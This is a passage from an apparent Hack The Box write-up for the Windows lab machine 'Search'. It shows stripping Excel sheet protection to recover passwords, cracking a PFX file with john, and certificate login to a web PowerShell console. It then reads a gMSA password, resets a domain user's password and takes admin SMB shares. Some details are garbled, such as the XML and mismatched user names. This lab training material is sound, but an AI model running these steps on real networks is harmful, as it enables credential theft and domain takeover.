drw-rw-rw-          0  Fri Apr 10 04:05:30 2020 $RECYCLE.BIN
-rw-rw-rw-         282  Mon Aug 10 18:02:17 2020 desktop.ini
```


Content of the XLSX file. Discover more usernames and we add all into names.md. Other than that we can see the Column 'C' is missing.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z
1	firstname	lastname	Username																							
2	Payton	Harmon	Payton.Harmon																							
3	Cortez	Hickman	Cortez.Hickman																							
4	Bobby	Wolf	Bobby.Wolf																							
5	Margaret	Robinson	Margaret.Robinson																							
6	Scarlett	Parks	Scarlett.Parks																							
7	Eliezer	Jordan	Eliezer.Jordan																							
8	Hunter	Kirby	Hunter.Kirby																							
9	Sierra	Frye	Sierra.Frye																							
10	Annabelle	Wells	Annabelle.Wells																							
11	Eve	Galvan	Eve.Galvan																							
12	Jeremiah	Fritz	Jeremiah.Fritz																							
13	Abby	Gonzalez	Abby.Gonzalez																							
14	Joy	Costa	Joy.Costa																							
15	Vincent	Sutton	Vincent.Sutton																							
16																										
17																										
18																										
19																										
20																										
21																										
22																										
23																										
24																										
25																										
26																										
27																										
28																										
29																										
30																										
31																										
32																										
33																										

Try to edit the Password 010~~~ sheet. We know that we cannot modify any cell.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z
1	firstname	lastname	Username																							
2	Payton	Harmon	Payton.Harmon																							
3	Cortez	Hickman	Cortez.Hickman																							
4	Bobby	Wolf	Bobby.Wolf																							
5	Margaret	Robinson	Margaret.Robinson																							
6	Scarlett	Parks	Scarlett.Parks																							
7	Eliezer	Jordan	Eliezer.Jordan																							
8	Hunter	Kirby	Hunter.Kirby																							
9	Sierra	Frye	Sierra.Frye																							
10	Annabelle	Wells	Annabelle.Wells																							
11	Eve	Galvan	Eve.Galvan																							
12	Jeremiah	Fritz	Jeremiah.Fritz																							
13	Abby	Gonzalez	Abby.Gonzalez																							
14	Joy	Costa	Joy.Costa																							
15	Vincent	Sutton	Vincent.Sutton																							
16																										
17																										
18																										
19																										
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27																										
28																										
29																										
30																										
31																										
32																										
33																										

On the CapturedPasswords sheet. Discover only row contain text.



We removed the locked protection by changing the .XLSX file into .ZIP. Then next grep search '`<sheetProtection>`'. You will find below XML file that need to remove that specific tag in order to remove the worksheet protection as shown below

```
pen sheet.xml ~Documents/HTB/Machine/Windows/Search/target-items/smb-dir/Excel-dir/zip-dir/Phishing_Attempt/xl/worksheets
help.md x names.md x sheet2.xml x
sheet2.xml
Harmon</v></c></row><row r="3" spans="1:4" x14ac:dyDescent="0.25"><c r="A3" t="s"><v><c r="B3" t="s"><v>b</v></c><c r="C3" t="s"><v>45</v></c><c r="D3" t="str"><f t="shared" si="0"/><v>Cortez.Hickman</v></c></row><row r="4" spans="1:4" x14ac:dyDescent="0.25"><c r="A4" t="s"><v>7</v></c><c r="B4" t="s"><v>8</v></c><c r="C4" t="s"><v>46</v></c><c r="D4" t="str"><f t="shared" si="0"/><v>Bobby.Wolf</v></c></row><row r="5" spans="1:4" x14ac:dyDescent="0.25"><c r="A5" t="s"><v>9</v></c><c r="B5" t="s"><v>10</v></c><c r="C5" t="s"><v>35</v></c><c r="D5" t="str"><f t="shared" si="0"/><v>Margaret.Robinson</v></c></row><row r="6" spans="1:4" x14ac:dyDescent="0.25"><c r="A6" t="s"><v>12</v></c><c r="B6" t="s"><v>13</v></c><c r="C6" s="2" t="s"><v>36</v></c><c r="D6" t="str"><f t="shared" si="0"/><v>Scarlett.Parks</v></c></row><row r="7" spans="1:4" x14ac:dyDescent="0.25"><c r="A7" t="s"><v>14</v></c><c r="B7" t="s"><v>15</v></c><c r="C7" t="s"><v>37</v></c><c r="D7" t="str"><f t="shared" si="0"/><v>Eliezer.Jordan</v></c></row><row r="8" spans="1:4" x14ac:dyDescent="0.25"><c r="A8" t="s"><v>16</v></c><c r="B8" t="s"><v>17</v></c><c r="C8" t="s"><v>38</v></c><c r="D8" t="s"><v>39</v></c><f t="shared" ref="D8:D15" si="1">A8&amp;#39;.B8</f><v>Hunter.Kirby</v></c></row><row r="9" spans="1:4" x14ac:dyDescent="0.25"><c r="A9" t="s"><v>29</v></c><c r="B9" t="s"><v>30</v></c><c r="C9" s="3" t="s"><v>48</v></c><c r="D9" t="str"><f t="A9&amp;#39;.B9</f><v>Sierra.Frye</v></c></row><row r="10" spans="1:4" x14ac:dyDescent="0.25"><c r="A10" t="s"><v>18</v></c><c r="B10" t="s"><v>19</v></c><c r="C10" s="2" t="s"><v>39</v></c><c r="D10" t="str"><f t="shared" si="1"/><v>Annabelle.Wells</v></c></row><row r="11" spans="1:4" x14ac:dyDescent="0.25"><c r="A11" t="s"><v>20</v></c><c r="B11" t="s"><v>21</v></c><c r="C11" t="s"><v>40</v></c><c r="D11" t="str"><f t="shared" si="1"/><v>Eve.Galvan</v></c></row><row r="12" spans="1:4" x14ac:dyDescent="0.25"><c r="A12" t="s"><v>22</v></c><c r="B12" t="s"><v>23</v></c><c r="C12" t="s"><v>41</v></c><c r="D12" t="str"><f t="shared" si="1"/><v>Jeremiah.Fritz</v></c></row><row r="13" spans="1:4" x14ac:dyDescent="0.25"><c r="A13" t="s"><v>24</v></c><c r="B13" t="s"><v>25</v></c><c r="C13" t="s"><v>42</v></c><c r="D13" t="str"><f t="shared" si="1"/><v>Abby.Gonzalez</v></c></row><row r="14" spans="1:4" x14ac:dyDescent="0.25"><c r="A14" t="s"><v>26</v></c><c r="B14" t="s"><v>11</v></c><c r="C14" t="s"><v>43</v></c><c r="D14" t="str"><f t="shared" si="1"/><v>Joy.Costa</v></c></row><row r="15" spans="1:4" x14ac:dyDescent="0.25"><c r="A15" t="s"><v>27</v></c><c r="B15" t="s"><v>28</v></c><c r="C15" t="s"><v>47</v></c><c r="D15" t="str"><f t="shared" si="1"/><v>Vincent.Sutton</v></c></row><row r="17" spans="3:3" x14ac:dyDescent="0.25"><c r="C17" s="4"/></row></sheetData><sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnM09nvv8qVHV8Ux+t+39+22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg==" saltValue="U9oOZfaVCkz5jWdh59AA8nA==" spinCount="100000" sheet="1" objects="1"/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></worksheet>
```

Next we need to rezip back as .XLSX file as shown below

```
sodanew@kalinew:~/Documents/HTB/Machine/Windows/Search/target-items/smb-dir/Excel-dir/zip-dir/Phishing_Attempt$ zip -r PhishingModified.xlsx .
adding: [Content_Types].xml (deflated 79%)
adding: xl/ (stored 0%)
adding: xl/charts/ (stored 0%)
adding: xl/charts/chart1.xml (deflated 77%)
adding: xl/charts/_rels/ (stored 0%)
adding: xl/charts/_rels/chart1.xml.rels (deflated 49%)
adding: xl/charts/style1.xml (deflated 90%)
```

Open back the file and now we can unhide the column and discover more Password.

Since previously we found the user flag is under sierra.frye directory. We can use all this password to brute force. We now get a valid credentials for sierra.frye.

## 11. SMB Enumeration via sierra.frye credentials

Now we can access this user own directory and obtain the user flag.

```
# cd sierra.frye
# cd Desktop
# ls
drw-rw-rw-        0 Thu Nov 18 09:08:17 2021 .
drw-rw-rw-        0 Thu Nov 18 09:08:17 2021 ..
drw-rw-rw-        0 Thu Nov 18 09:08:17 2021 $RECYCLE.BIN
-rw-rw-rw-      282 Thu Nov 18 09:08:17 2021 desktop.ini
-rw-rw-rw-    1450 Thu Nov 18 09:08:17 2021 Microsoft Edge.lnk
-rw-rw-rw-      33 Thu Nov 18 09:18:26 2021 user.txt
# get user.txt
#
```

Continue enumeration on other directory. We discover a backup folder under 'Downloads'.

```

# ls
drw-rw-rw-      0 Thu Nov 18 09:01:45 2021 .
drw-rw-rw-      0 Thu Nov 18 09:01:45 2021 ..
drw-rw-rw-      0 Thu Nov 18 09:08:17 2021 Desktop
drw-rw-rw-      0 Fri Jul 31 22:42:19 2020 Documents
drw-rw-rw-      0 Fri Jul 31 22:45:36 2020 Downloads
-rw-rw-rw-    33 Thu Nov 18 09:01:45 2021 user.txt
# cd Documents
# ls
drw-rw-rw-      0 Fri Jul 31 22:42:19 2020 .
drw-rw-rw-      0 Fri Jul 31 22:42:19 2020 ..
drw-rw-rw-      0 Wed Apr  8 02:04:01 2020 $RECYCLE.BIN
-rw-rw-rw-    402 Fri Jul 31 22:42:19 2020 desktop.ini
# cd ../Downloads
# ls
drw-rw-rw-      0 Fri Jul 31 22:45:36 2020 .
drw-rw-rw-      0 Fri Jul 31 22:45:36 2020 ..
drw-rw-rw-      0 Fri Jul 31 01:25:57 2020 $RECYCLE.BIN
drw-rw-rw-      0 Tue Aug 11 04:39:17 2020 Backups
-rw-rw-rw-    282 Fri Jul 31 22:42:18 2020 desktop.ini
#

```

Files under Backups directory.

```

# cd Backups
# mget
[-] A mask must be provided
# mget *
[*] Downloading search-RESEARCH-CA.p12
[*] Downloading staff.pfx
# ls
drw-rw-rw-      0 Tue Aug 11 04:39:17 2020 .
drw-rw-rw-      0 Tue Aug 11 04:39:17 2020 ..
-rw-r--r--  2643 Fri Jul 31 23:04:11 2020 search-RESEARCH-CA.p12
-rw-r--r--  4326 Tue Aug 11 04:39:17 2020 staff.pfx
#

```

## 12. Backups directory files enumeration


File type of each files. Get data, but we know that .P12 and .PFX are related to Certificate file format.

```

sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/smb-dir/back-dir$ ls -la
total 20
drwxr-xr-x 2 sodanew sodanew 4096 Apr 26 14:57 .
drwxr-xr-x 5 sodanew sodanew 4096 Apr 26 14:57 ..
-rw-r--r--  1 sodanew sodanew 2643 Apr 26 14:57 search-RESEARCH-CA.p12
-rw-r--r--  1 sodanew sodanew 4326 Apr 26 14:57 staff.pfx
sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/smb-dir/back-dir$ file *
search-RESEARCH-CA.p12: data
staff.pfx:          data
sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/smb-dir/back-dir$ 

```

We can see that both file are locked.



Extract password hash for PFX with john.


```
sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/smb-dir/back-dir$ python3 /opt/john/run/pfx2john.py staff.pfx >
hash.john
sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/smb-dir/back-dir$ ls
hash.john search-RESEARCH-CA.p12 staff.pfx
sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/smb-dir/back-dir$ cat hash.john
staff.pfx:$pfxng$1$20$2000$20$ab06d852d1875d818341c5737782c7117277265e$308210873082062006092a864886f70d010701a08206110482060d308206
0930820605060b2a864886f70d010c0a0102a08204fe308204fa301c060a2a864886f70d010c0103300e0408cc8cfc26a55751d2020207d0048204d84c47771cf7a
511ef48be54a6ea3027bf5a5dfe33188247f4b865278cd18c6210a43e6ef6d20559fdcd480fd20838dcdaa2e5f7dfbd2a436db0a1986d1caf085f9be39f12f1da
d44361cfcf52bdaa3413e91744b1ba57289b00290228e785fdfd25c7c37418fff491cf46f43b80a8ee2cb4108692733f46b10cf8a1ddf9c2201713482a7ef2bc
e48ac4ccacbd4347f528b687abc815c2289f6b0f5bbf70a37d23f9039ae799df3577c71a6a228344c2be53b4b21a4c592a19f251710e549ec30eee44b6c147c28a
1416cc8d78e8c87be4eab9f4344eb4ae5ca6ceda44d2fb6262e53c5ffd6dc8c1f98282378e124b26739527be59ffe0c606ba38894e462f0fd5dcf43929e9423a56a8
05b9e70d52babbb9b3847603cf75104cccd66050854e83fa9e20e08698fc10b94159bbdce31887928ffa57423f735f9de41f1cb563145c7620395baa478ed3ddh951
c0d032b7fa45323ea727cba76c527b7ee73886dfee3b392dc561e8ff483cbc02c86ae88bad06132a9888bed2c18bdddea362b747e04aa804e2a1a5c5cdee261ca6
44cffdcdf7011bf250a9a756f2baaaad14f656f2cca388a1ee3d09bb73dbbb39b6c35cbd31490c20cb815baf5338d9f97da8fe0fe142ae3df6682a2409943c0b06
```

PFX Password Crack result.

```
sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/hash-dir$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.john
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
misspissy      (staff.pfx)
1g 0:00:01:14 DONE (2022-04-26 15:33) 0.01343g/s 73697p/s 73697c/s 73697C/s misssnail..missnona16
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/hash-dir$
```

### 13. Certificate Enumeration


Decrypt the PFX with the password. We can see there is 3 section.



Convert PFX into PEM for import into browser.

```
sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/smb-dir/back-dir$ openssl pkcs12 -in staff.pfx -out staff.pem
Enter Import Password:
Enter PEM pass phrase:
Error outputting keys and certificates
139991730865536:error:28078065:UI routines:UI_set_result_ex:result too small:../crypto/ui/ui_lib.c:905:You must type in 4 to 1024
haracters
139991730865536:error:2807106B:UI routines:UI_process:processing error:../crypto/ui/ui_lib.c:545:while reading strings
139991730865536:error:0906406D:PEM routines:PEM_def_callback:problems getting password:../crypto/pem/pem_lib.c:59:
139991730865536:error:0907E06F:PEM routines:do_pk8pkey:read key:../crypto/pem/pem_pk8.c:83:
sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/smb-dir/back-dir$
```

We can also try to import it to our browser.



By referring back to our directory fuzz. We can see there is a '/staff' directory. We can try access to it. We will prompt for below directory.

A screenshot of a browser window showing a "Server Error" page with a "403 - Forbidden: Access is denied." message. The URL in the address bar is https://research.search.htb/staff/en-US/logon.aspx. A modal dialog titled "User Identification Request" is overlaid on the page. The dialog contains the following text:

This site has requested that you identify yourself with a certificate:  
research.search.htb:443  
Organization: ""  
Issued Under: ""  
Choose a certificate to present as identification:


Sierra Frye [54:00:00:00:10:06:36:44:1E:36:3A:79:ED:00:00:00:10]

Details of selected certificate:  
Issued to: CN=Sierra Frye, OU=Users, OU=Birmingham, OU=Sites, DC=search, DC=htb  
Serial number: 54:00:00:00:10:06:36:44:1E:36:3A:79:ED:00:00:00:10  
Valid from August 11, 2020, 04:27:14 GMT+8 to August 9, 2030, 04:27:14 GMT+8  
Key Usages: Digital Signature, Key Encipherment  
Issued by: CN=search-RESEARCH-CA,DC=search,DC=htb  
Stored on: Software Security Device

Remember this decision

Cancel OK

Passed all the required request. Now we discover another new window panel login page. Try insert below credentials for the login panel.




#### 14. PowerShell Access


After logged in, we given a powershell windows.

A screenshot of a web browser showing a Windows PowerShell session. The URL is https://research.search.htb/staff/en-US/console.aspx. The PowerShell window has a dark blue background. At the top, it says "Windows PowerShell" and "Copyright (C) 2016 Microsoft Corporation. All rights reserved.". The command history shows: PS C:\Users\Sierra.Frye\Documents> whoami, which outputs "search\sierra.frye", and PS C:\Users\Sierra.Frye\Documents>. The command "whoami" is highlighted with a green box.

As from the Bloodhound, we can see that sierra.frye can abuse ReadGMSAPassword



Help option from Bloodhound suggest



Follow this [blogpost](#). We can ReadGMSA Password

```

PS C:\Users\Sierra.Frye\Documents>
whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name          Description          State
===== ===== =====
SeChangeNotifyPrivilege Bypass traverse checking Enabled
PS C:\Users\Sierra.Frye\Documents>
$user = 'BIR-ADFS-GMSA';
PS C:\Users\Sierra.Frye\Documents>
$gmsa = Get-ADServiceAccount -Identity $user -Properties 'msDS-ManagedPassword';
PS C:\Users\Sierra.Frye\Documents>
$blob = $gmsa.'msDS-ManagedPassword';
PS C:\Users\Sierra.Frye\Documents>
$mp = ConvertFrom-ADManagedPasswordBlob $blob;
PS C:\Users\Sierra.Frye\Documents>
$cred = New-Object System.Management.Automation.PSCredential $user, $mp.SecureCurrentPassword;
PS C:\Users\Sierra.Frye\Documents>
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {whoami}
search\bir-adfs-gmsa
PS C:\Users\Sierra.Frye\Documents>

```

Try to change Travis credentials.

```

PS C:\Users\Sierra.Frye\Documents>
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {net user Tristan.Davies qwerty1234 /domain}
The command completed successfully.

PS C:\Users\Sierra.Frye\Documents>

```

## 15. SMB Enumeration via travis credentials or ROOT ACCESS

Discover that we can access all Admin access folder.

```
sodanew@kalinev:~/Documents/HTB/Machine/Windows/Search/target-items/smb-dir/back-dir$ smbmap -u tristan.davies -p 'qwerty1234' -H 10.10.11.129 -d search.htm
[+] IP: 10.10.11.129:445      Name: research.search.htb
[!] Work[!] Unable to remove test directory at \\10.10.11.129\SYSVOL\GGPBWAHVIN, please remove manually
Disk          Permissions   Comment
-----
ADMIN$        READ, WRITE  Remote Admin
C$           READ, WRITE  Default share
CertEnroll    READ, WRITE  Active Directory Certificate Services share
helpdesk     NO ACCESS
IPC$          READ ONLY   Remote IPC
NETLOGON     READ, WRITE  Logon server share
RedirectedFolders$  READ, WRITE  Logon server share
SYSVOL       READ, WRITE  Logon server share
sodanew@kalinev:~/Documents/HTB/Machine/Windows/Search/target-items/smb-dir/back-dir$
```

Since we have access to C drive. We can also access the Users directory on the server.

```
SYSVOL
# use C$
# ls
drw-rw-rw-    0 Tue Mar 24 03:24:13 2020 $RECYCLE.BIN
drw-rw-rw-    0 Wed Apr 13 19:22:33 2022 Config.Msi
drw-rw-rw-    0 Mon Mar 23 07:46:47 2020 Documents and Settings
drw-rw-rw-    0 Tue Apr 14 18:24:23 2020 HelpDesk
drw-rw-rw-    0 Mon Mar 23 15:20:20 2020 inetpub
-rw-rw-rw- 738197504 Tue Apr 26 13:23:36 2022 pagefile.sys
drw-rw-rw-    0 Mon May 24 16:42:53 2021 PerfLogs
drw-rw-rw-    0 Wed Apr 13 19:21:50 2022 Program Files
drw-rw-rw-    0 Mon Mar 23 15:43:34 2020 Program Files (x86)
drw-rw-rw-    0 Tue Apr 14 18:24:03 2020 ProgramData
drw-rw-rw-    0 Mon Mar 23 07:46:48 2020 Recovery
drw-rw-rw-    0 Tue Apr 26 14:45:33 2022 RedirectedFolders
drw-rw-rw-    0 Tue Mar 31 22:13:38 2020 System Volume Information
drw-rw-rw-    0 Tue Aug 11 15:45:30 2020 Users
drw-rw-rw-    0 Tue Apr 26 16:28:46 2022 Windows
# cd Users
# ls
```

Obtain root flag

```
# cd Desktop
# ls
drw-rw-rw-    0 Tue Nov 23 04:21:49 2021 .
drw-rw-rw-    0 Tue Nov 23 04:21:49 2021 ..
-rw-rw-rw-  282 Tue Nov 23 04:21:49 2021 desktop.ini
-rw-rw-rw-  34 Tue Apr 26 13:25:13 2022 root.txt
# get root.txt
#
```